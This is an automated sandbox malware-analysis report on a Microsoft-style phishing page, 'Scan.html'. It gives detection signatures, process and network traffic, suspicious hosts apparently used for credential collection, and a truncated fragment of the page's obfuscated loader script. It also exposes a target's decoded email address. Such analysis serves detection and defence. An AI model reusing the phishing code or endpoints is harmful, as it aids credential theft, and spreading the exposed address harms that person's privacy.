Edit tour

Windows Analysis Report
Scan.html

Overview

General Information

Sample name:	Scan.html
Analysis ID:	1590148
MD5:	fc90c02477d1c028aeabeb8e0abcef58
SHA1:	51f58e0b261363bc34390a570b1108d16768ee0b
SHA256:	770b8655e05b3b8c42eb9f33a7c5ecd1b97598b29fd54e6ea7697df0c0d9b7cb
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Drops PE files

Drops PE files to the windows directory (C:\Windows)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

PE file contains more sections than normal

PE file contains sections with non-standard names

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Scan.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2516,i,15720364378467232553,7406729316586067300,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/Scan.html

Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 1.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.3.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/Scan.html... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The heavy obfuscation and use of encoded strings further increase the risk. While the script may have some legitimate functionality, such as analytics or error reporting, the overall behavior is highly suspicious and likely malicious in nature.

Detected javascript redirector / loader

Source: Scan.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Scan.html

Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: Scan.html

HTTP Parser: <script>var uid = 'c3Rpam4uc2Vzc2VsbGVAYnBvc3QuYmU=';</script><script>const CD={'\u0055\x76\u0043\x4a\x24\u005a':((qOa,qIy=0b1001101111)=>{qIy^=qOa;return {'\x71\x48\x45\x62':l=>'\x5a\x58\u0064\x73\u0061','\u0071\x43\x42\x31\u0064':Y=>'\x53\x3...

Source: file:///C:/Users/user/Desktop/Scan.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Scan.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: Scan.html

HTTP Parser: Base64 decoded: stijn.sesselle@bpost.be

Source: file:///C:/Users/user/Desktop/Scan.html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/Scan.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Scan.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Scan.html	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\LICENSE.txt

Jump to behavior

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.0.dr

Source: global traffic

TCP traffic: 192.168.2.4:64117 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:44:56 GMTServer: Apache/2Access-Control-Allow-Origin: Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 36Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ab 56 2a 2e 49 2c 29 2d 56 b2 4a 4b cc 29 4e ad 05 00 f4 4d 82 5d 10 00 00 00 Data Ascii: V.I,)-VJK)NM]
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:44:57 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingContent-Encoding: gzipContent-Length: 202Keep-Alive: timeout=2, max=99Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 ce 31 72 c3 20 10 85 e1 bb 50 47 46 44 08 64 cf 78 72 11 1a 04 18 b0 e4 45 61 17 27 b1 27 77 8f 27 69 72 03 b7 ef 2f de 77 67 48 96 1a b2 03 c3 e6 5c 40 64 2f 6c b6 00 a1 3e a6 44 b4 e1 c1 70 c3 ad f5 ce c3 ee 82 b6 51 ca 17 1b 03 ee 20 90 e1 4e 38 35 2b 37 75 ed 63 13 14 96 31 c5 9a 5a 3c 95 ae 88 9c 6f c2 d7 eb e6 97 ee 9c c2 a7 68 cb fa 3e 5f 4f 5f 86 af 25 66 a0 00 16 68 ae 16 7c 86 68 78 6f f8 df f3 a3 96 37 c2 a3 1a 94 96 5a cb 61 94 7d af e5 a4 d4 2f ce 2d b1 96 06 fe 19 c0 bc ae 0d a9 5a ca 05 fe 11 87 fd b4 57 c3 ab 1e e5 c8 be 7f 00 81 dd 5b a8 54 01 00 00 Data Ascii: 1r PGFDdxrEa''w'ir/wgH\@d/l>DpQ N85+7uc1Z<oh>_O_%fh\|hxo7Za}/-ZW[T
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:45:09 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:45:21 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:45:33 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:45:47 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:46:08 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:47:06 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 13 Jan 2025 15:48:05 GMTServer: Apache/2Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, AuthorizationVary: User-Agent,Accept-EncodingUpgrade: h2,h2cConnection: Upgrade, Keep-AliveContent-Encoding: gzipContent-Length: 83Keep-Alive: timeout=2, max=100Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Source: global traffic	HTTP traffic detected: GET /js/css/jquery.js HTTP/1.1Host: www.newlifecon.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/css/jquery.js HTTP/1.1Host: www.newlifecon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/don/class.php HTTP/1.1Host: intechdesign.kylos.plConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.newlifecon.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: intechdesign.kylos.pl
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=MTs7UvEj70VEIGVYoNP8hOuch%2FkN3J76OYyiTTtSGvPjUB0zpXmrSHefhakZwO6MMNrwxJ5KD0g%2FDxvfL2zechL2ysNY%2BcisckNaigFJ3vum4J%2FEyM35ErwB7uHtJTXljZZ%2B1uxo HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 426Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_138.2.dr, chromecache_137.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: Google.Widevine.CDM.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: sets.json.0.dr	String found in binary or memory: https://07c225f3.online
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://123milhas.com/v2/busca/confirmacao-pedido/.
Source: sets.json.0.dr	String found in binary or memory: https://24.hu
